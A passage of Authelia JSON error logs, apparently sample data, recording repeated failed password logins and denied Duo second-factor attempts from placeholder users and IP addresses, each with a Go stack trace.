found","path":"/api/firstfactor","remote_ip":"5.5.5.5","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":177,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_firstfactor.go","Line":52,"Name":"FirstFactorPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:31:49+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful 1FA authentication attempt by user 'fakeuser5': user not found","path":"/api/firstfactor","remote_ip":"5.5.5.5","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":177,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_firstfactor.go","Line":52,"Name":"FirstFactorPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:31:49+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful 1FA authentication attempt by user 'fakeuser6': user not found","path":"/api/firstfactor","remote_ip":"5.5.5.5","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":177,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_firstfactor.go","Line":52,"Name":"FirstFactorPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:31:49+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful 1FA authentication attempt by user 'fakeuser1@example.com': user not found","path":"/api/firstfactor","remote_ip":"5.5.5.6","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":177,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_firstfactor.go","Line":52,"Name":"FirstFactorPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:31:49+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful 1FA authentication attempt by user 'fakeuser2@example.com': user not found","path":"/api/firstfactor","remote_ip":"5.5.5.6","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":177,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_firstfactor.go","Line":52,"Name":"FirstFactorPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:31:49+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful 1FA authentication attempt by user 'fakeuser3@example.com': user not found","path":"/api/firstfactor","remote_ip":"5.5.5.6","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":177,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_firstfactor.go","Line":52,"Name":"FirstFactorPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:31:49+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful 1FA authentication attempt by user 'fakeuser4@example.com': user not found","path":"/api/firstfactor","remote_ip":"5.5.5.6","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":177,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_firstfactor.go","Line":52,"Name":"FirstFactorPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:31:49+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful 1FA authentication attempt by user 'fakeuser5@example.com': user not found","path":"/api/firstfactor","remote_ip":"5.5.5.6","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":177,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_firstfactor.go","Line":52,"Name":"FirstFactorPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:31:49+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful 1FA authentication attempt by user 'fakeuser6@example.com': user not found","path":"/api/firstfactor","remote_ip":"5.5.5.6","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":177,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_firstfactor.go","Line":52,"Name":"FirstFactorPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:31:49+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful 1FA authentication attempt by user 'realuser'","path":"/api/firstfactor","remote_ip":"6.6.6.6","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":181,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_firstfactor.go","Line":60,"Name":"FirstFactorPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:31:58+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful 1FA authentication attempt by user 'realuser'","path":"/api/firstfactor","remote_ip":"6.6.6.6","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":181,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_firstfactor.go","Line":60,"Name":"FirstFactorPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:31:58+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful 1FA authentication attempt by user 'realuser'","path":"/api/firstfactor","remote_ip":"6.6.6.6","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":181,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_firstfactor.go","Line":60,"Name":"FirstFactorPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:31:58+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful 1FA authentication attempt by user 'realuser'","path":"/api/firstfactor","remote_ip":"6.6.6.6","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":181,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_firstfactor.go","Line":60,"Name":"FirstFactorPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:31:58+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful 1FA authentication attempt by user 'realuser'","path":"/api/firstfactor","remote_ip":"6.6.6.6","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":181,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_firstfactor.go","Line":60,"Name":"FirstFactorPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:31:58+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful 1FA authentication attempt by user 'realuser'","path":"/api/firstfactor","remote_ip":"6.6.6.6","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":181,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_firstfactor.go","Line":60,"Name":"FirstFactorPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:31:58+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful 1FA authentication attempt by user 'realuser@example.com'","path":"/api/firstfactor","remote_ip":"6.6.6.7","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":181,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_firstfactor.go","Line":60,"Name":"FirstFactorPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:31:58+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful 1FA authentication attempt by user 'realuser@example.com'","path":"/api/firstfactor","remote_ip":"6.6.6.7","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":181,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_firstfactor.go","Line":60,"Name":"FirstFactorPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:31:58+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful 1FA authentication attempt by user 'realuser@example.com'","path":"/api/firstfactor","remote_ip":"6.6.6.7","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":181,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_firstfactor.go","Line":60,"Name":"FirstFactorPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:31:58+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful 1FA authentication attempt by user 'realuser@example.com'","path":"/api/firstfactor","remote_ip":"6.6.6.7","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":181,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_firstfactor.go","Line":60,"Name":"FirstFactorPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:31:58+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful 1FA authentication attempt by user 'realuser@example.com'","path":"/api/firstfactor","remote_ip":"6.6.6.7","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":181,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_firstfactor.go","Line":60,"Name":"FirstFactorPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:31:58+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful 1FA authentication attempt by user 'realuser@example.com'","path":"/api/firstfactor","remote_ip":"6.6.6.7","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":181,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_firstfactor.go","Line":60,"Name":"FirstFactorPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:31:58+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful Duo authentication attempt by user 'realuser': duo auth result: deny, status: deny, message: Login request denied.","path":"/api/secondfactor/duo","remote_ip":"7.7.7.7","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":177,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_sign_duo.go","Line":74,"Name":"SecondFactorDuoPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/require_first_factor.go","Line":15,"Name":"RequireFirstFactor.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:32:13+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful Duo authentication attempt by user 'realuser': duo auth result: deny, status: deny, message: Login request denied.","path":"/api/secondfactor/duo","remote_ip":"7.7.7.7","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":177,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_sign_duo.go","Line":74,"Name":"SecondFactorDuoPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/require_first_factor.go","Line":15,"Name":"RequireFirstFactor.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:32:13+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful Duo authentication attempt by user 'realuser': duo auth result: deny, status: deny, message: Login request denied.","path":"/api/secondfactor/duo","remote_ip":"7.7.7.7","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":177,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_sign_duo.go","Line":74,"Name":"SecondFactorDuoPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/require_first_factor.go","Line":15,"Name":"RequireFirstFactor.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:32:13+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful Duo authentication attempt by user 'realuser': duo auth result: deny, status: deny, message: Login request denied.","path":"/api/secondfactor/duo","remote_ip":"7.7.7.7","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":177,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_sign_duo.go","Line":74,"Name":"SecondFactorDuoPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/require_first_factor.go","Line":15,"Name":"RequireFirstFactor.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:32:13+02:00"} 